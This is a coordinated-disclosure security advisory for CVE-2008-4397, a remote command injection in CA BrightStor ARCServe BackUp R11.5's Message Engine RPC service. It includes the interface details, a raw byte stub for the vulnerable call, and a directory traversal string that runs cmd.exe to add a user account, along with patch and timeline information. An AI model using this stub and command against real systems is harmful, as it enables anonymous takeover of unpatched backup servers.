CA BrightStor ARCServe BackUp Message Engine Remote Command Injection
Vulnerability

by cocoruder(frankruder_at_hotmail.com)
http://ruder.cdut.net 


Summary:

    CA BrightStor ARCServe BackUp is an overall data backup solution.
The RPC interface of CA BrightStor ARCServe BackUp does not handle
user's input exactly that allows anonymous attacker to inject any
command, a remote code execution attack may achieved through this way.


Affected Software Versions:

    CA BrightStor ARCServe BackUp R11.5



Details:
	
    Service named "CA BrightStor Message Engine" (Process Name:
msgeng.exe) registers a RPC interface which is listening on TCP port
6504, following is some related information:

	UUID	: 506b1890-14c8-11d1-bbc3-00805fa6962e
	Version	: 1.0
	Listen Port : 6504

    Remarkably, we can access this interface anonymously via
"ncacn_ip_tcp". The following is the IDL of the function of opnum
0x10A:

	/* opcode: 0x156, address: 0x28EB1C00 */
	long   sub_28EB1C00 (
	 [in] handle_t  arg_1,
	 [in][string] char * arg_2,
	 [in][string] char * arg_3,
	 [in][string] char * arg_4,
	 [in][string] char * arg_5,
	 [in] long  arg_6,
	 [in][size_is(arg_1)] char * arg_7,
	 [in] long  arg_8,
	 [in, out] long * arg_9,
	 [out][size_is(*arg_9)] char ** arg_10
	);

    Following is the normal stub of this function:

	my $stub	"\x10\x00\x00\x00\x00\x00\x00\x00".		#should equal to remote computer name
	"\x10\x00\x00\x00".
	"kkk-49ade5b31c1".
	"\x00".

	"\x08\x00\x00\x00\x00\x00\x00\x00".		#will run "aaa.exe"
	"\x08\x00\x00\x00".				
	"aaa.exe"
	"\x00".


	"\x81\x00\x00\x00\x00\x00\x00\x00".		#arg_4
	"\x81\x00\x00\x00".
	"BBBBBBBBBBBBBBBB".
	"BBBBBBBBBBBBBBBB".
	"BBBBBBBBBBBBBBBB".
	"BBBBBBBBBBBBBBBB".
	"BBBBBBBBBBBBBBBB".
	"BBBBBBBBBBBBBBBB".
	"BBBBBBBBBBBBBBBB".
	"BBBBBBBBBBBBBBBB".
	"\x00\x00\x00\x00".

	"\x01\x00\x00\x00".				#arg_5
	"\x00\x00\x00\x00".
	"\x01\x00\x00\x00".
	"\x00\x00\x00\x00".
	
	"\xce\x00\x00\x00".				#arg_6
	"\xce\x00\x00\x00".

	"\xff\xfe\x3c\x00\x3f\x00\x78\x00".
	"\x6d\x00\x6c\x00\x20\x00\x76\x00\x65\x00\x72\x00\x73\x00\x69\x00".
	"\x6f\x00\x6e\x00\x3d\x00\x22\x00\x31\x00\x2e\x00\x30\x00\x22\x00".
	"\x3f\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x52\x00\x45\x00\x50\x00".
	"\x4f\x00\x52\x00\x54\x00\x3e\x00\x0d\x00\x0a\x00\x20\x00\x3c\x00".
	"\x48\x00\x45\x00\x41\x00\x44\x00\x45\x00\x52\x00\x20\x00\x44\x00".
	"\x61\x00\x74\x00\x65\x00\x3d\x00\x22\x00\x79\x00\x65\x00\x73\x00".
	"\x22\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x54\x00\x49\x00\x54\x00".
	"\x4c\x00\x45\x00\x3e\x00\xcf\x6b\xe5\x65\x07\x59\xfd\x4e\xb6\x72".
	"\x01\x60\xa5\x62\x68\x88\x3c\x00\x2f\x00\x54\x00\x49\x00\x54\x00".
	"\x4c\x00\x45\x00\x3e\x00\x0d\x00\x0a\x00\x3c\x00\x44\x00\x45\x00".
	"\x53\x00\x43\x00\x52\x00\x3e\x00\x28\x57\x4d\x52\x20\x00\x32\x00".
	"\x34\x00\x20\x00\x0f\x5c\xf6\x65\x85\x51\x8c\x5b\x10\x62\x84\x76".
	"\x07\x59\xfd\x4e\x5c\x4f\x00\x00\x00\x00\x00\x00\xde\x77\x00\x00";


    First, the first parameter (victim's computer name) should equal
to the real computer name. Second, when we change the string "aaa.exe"
such as "../aaa.exe", it will bypass the current directory, if the
program has been installed by default, transferring the following
string will reach the "cmd.exe" and add an user with
"CCC"/"ZZZ"(username/password) on the affected system:

    ../../../../../../../..//winnt//system32//cmd.exe /c \"net user
CCC ZZZ /add\" ||



Solution:

    CA has released a bulletin as well as a patch for this
vulnerability which can be found at:

    https://support.ca.com/irj/portal/anonymous/phpsupcontent?contentID=188143



CVE Information:

    CVE-2008-4397



Disclosure Timeline:

    2008.01.07        Vendor notified
    2008.01.08        Vendor responded
    2008.10.09        Coordinated public disclosure



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